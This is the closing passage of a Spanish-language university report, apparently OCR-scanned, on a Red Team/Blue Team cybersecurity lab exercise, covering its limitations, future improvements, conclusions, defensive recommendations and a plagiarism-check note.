. El trabajo se realizé en un entorno de laboratorio controlado, lo que facilita la
gestion de variables y la obtencion de resultados, pero no refleja completamente la complejidad
de un entorno productivo real, donde intervienen factores como la presion del tiempo, la
coordinacién entre equipos y la diversidad de sistemas.

o La eleccion de herramientas de licencia libre responde a la necesidad de
accesibilidad y bajo coste, pero limita el acceso a ciertas funcionalidades avanzadas que ofrecen
soluciones comerciales, como la integracion nativa con plataformas de orquestacion o el analisis
automatizado de amenazas.

o El enfoque principal estuvo dirigido a sistemas operativos Windows, por lo que
los resultados y recomendaciones pueden no ser directamente aplicables a otros sistemas, como
Linux, macOS o dispositivos 10T, que presentan particularidades propias en materia de
seguridad.

. No se abordo la gestion de la comunicacion con otros equipos o partes
interesadas, aspecto clave en la respuesta a incidentes reales, donde la coordinacion y el flujo de
informacion son esenciales para minimizar el impacto y evitar la desinformacion.

Posibles mejoras futuras
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. Seria conveniente ampliar el alcance del laboratorio, incorporando otros sistemas
operativos y dispositivos conectados, para evaluar la eficacia de las medidas de contencion y
hardening en entornos mas heterogéneos.

J La automatizacion de tareas mediante scripts o plataformas SOAR (Security
Orchestration, Automation and Response) permitiria agilizar la deteccion y respuesta, reduciendo
el margen de error humano y mejorando la eficiencia operativa.

. Integrar técnicas de inteligencia artificial y aprendizaje automatico en el analisis
de eventos de seguridad podria facilitar la identificacion temprana de patrones andmalos y
amenazas emergentes, optimizando el uso de sistemas SIEM.

o Realizar simulaciones de ataques mas sofisticados, incluyendo técnicas de evasion
y persistencia, ayudaria a fortalecer la postura defensiva y a preparar al equipo para escenarios de
mayor complejidad.

Finalmente, fomentar la colaboracién multidisciplinar y la formacion continua del equipo
contribuiria a mejorar la capacidad de respuesta y la resiliencia organizacional ante incidentes de

seguridad.
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Evidencias de Sustentacion
En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:

Video de sustentacion del informe final: https://youtu.be/0 JJ6tgkGx8
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Conclusiones

La simulacion de escenarios reales mediante la interaccion entre Red Team y Blue Team
demostrod ser una estrategia eficaz para cumplir el objetivo general de fortalecer las competencias
en ciberseguridad, esta practica permitié identificar vulnerabilidades y validar la capacidad de
respuesta ante incidentes, ofreciendo una vision integral de la seguridad organizacional.

En relacion con el objetivo especifico orientado a aplicar metodologias de pentesting, la
ejecucion rigurosa de estas técnicas, junto con el uso de herramientas de cddigo abierto,
evidencid que es posible alcanzar altos niveles de eficacia en la deteccion y explotacion de fallos,
incluso en entornos con recursos limitados, se logra este propdsito siempre que exista una
adecuada planificacion y formacion técnica.

El andlisis forense y la documentacion detallada de cada fase del ataque y la defensa
respondieron al objetivo de comprender las rutas de compromiso y vectores de ataque, este
proceso resulta esencial para disefiar estrategias de remediacion y prevenir incidentes futuros.

Asimismo, la gestion de incidentes en tiempo real permitié cumplir el objetivo de evaluar
la coordinacion y comunicacion entre equipos. Se resalto la necesidad de procedimientos claros
para el aislamiento, analisis y recuperacion de sistemas comprometidos, lo que refuerza la
importancia de la colaboracion efectiva.

El estudio del marco legal colombiano, especialmente la Ley 1273 y la Ley 1581, se
vinculod directamente con el objetivo de analizar las implicaciones éticas y juridicas, este analisis
subrayo la obligacion de denunciar conductas ilicitas y proteger los datos personales,
garantizando el cumplimiento normativo.

La integracion de buenas practicas de hardening y segmentacion de red respondio al
objetivo de implementar estrategias de proteccion, estas acciones se consolidaron como pilares

fundamentales para reducir la superficie de ataque y reforzar la resiliencia tecnologica.
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Finalmente, la experiencia practica y el trabajo colaborativo multidisciplinar confirmaron
los objetivos relacionados con la formacidn continua y la cooperacion interareas, la actualizacion
permanente y la ética profesional se revelaron indispensables para mantener una postura de
seguridad robusta y sostenible, la mejora continua, basada en la evaluacion critica y la
incorporacion de lecciones aprendidas, se establece como el camino para fortalecer la cultura de

seguridad y enfrentar con éxito los desafios presentes y futuros en el ambito digital.
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Recomendaciones

Con base en los hallazgos del analisis (vulnerabilidades recurrentes, evidencias de
movimiento lateral y tiempos de respuesta mejorables), se proponen las siguientes acciones
estratégicas para reforzar la postura defensiva y consolidar una cultura preventiva:

Mantener actualizados los sistemas y aplicaciones: aplicar parches de seguridad de
manera oportuna reduce la superficie de ataque y evita la explotacion de vulnerabilidades
conocidas, tal como se evidencio en los escenarios simulados.

Implementar segmentacion de red y control de accesos: limitar privilegios y aislar
segmentos criticos dificulta el movimiento lateral detectado durante las pruebas, reduciendo el
impacto de posibles compromisos.

Fomentar la capacitacion continua del personal: la falta de conocimiento técnico y
normativo incrementa el riesgo de errores operativos; por ello, la formacion periddica en
aspectos técnicos, legales y éticos fortalece la respuesta ante incidentes.

Realizar auditorias y simulaciones de ataque periddicas: estas practicas permiten evaluar
la eficacia de los controles y detectar areas de mejora, asegurando que las lecciones aprendidas
se traduzcan en acciones concretas.

Integrar soluciones SIEM y monitoreo avanzado: la correlacion de eventos y la deteccion
temprana son esenciales para reducir tiempos de respuesta, una debilidad identificada en la
gestion de incidentes en tiempo real.

Promover la colaboracion entre areas técnicas, legales y de gestion: la coordinacion
efectiva evita fallos de comunicacion y garantiza una respuesta integral, aspecto critico en
incidentes complejos documentados en el estudio.

En conjunto, estas recomendaciones no solo abordan las vulnerabilidades detectadas, sino

que establecen un marco operativo que refuerza la resiliencia tecnologica y fomenta una cultura



organizacional orientada a la prevencion, la respuesta agil y la mejora continua en

ciberseguridad.
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Apéndices
Apéndice A
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Nota. El analisis realizado con la herramienta Turnitin muestra un porcentaje de similitud
cercano al 19 %, se considera que este valor no indica falta de originalidad, sino que se debe
principalmente a coincidencias con titulos institucionales, encabezados y formatos propios de la
UNAD, los cuales son elementos estandar y obligatorios en la presentacion de trabajos
académicos, ademas, parte de las coincidencias corresponde a citas y textos referenciados
correctamente conforme a las normas APA, asi como a expresiones comunes y referencias
bibliograficas, todos ellos permitidos dentro de los estdndares académicos, por lo cual, se
considera respetuosamente que el documento mantiene un nivel adecuado de originalidad y

cumple con los criterios de integridad académica.



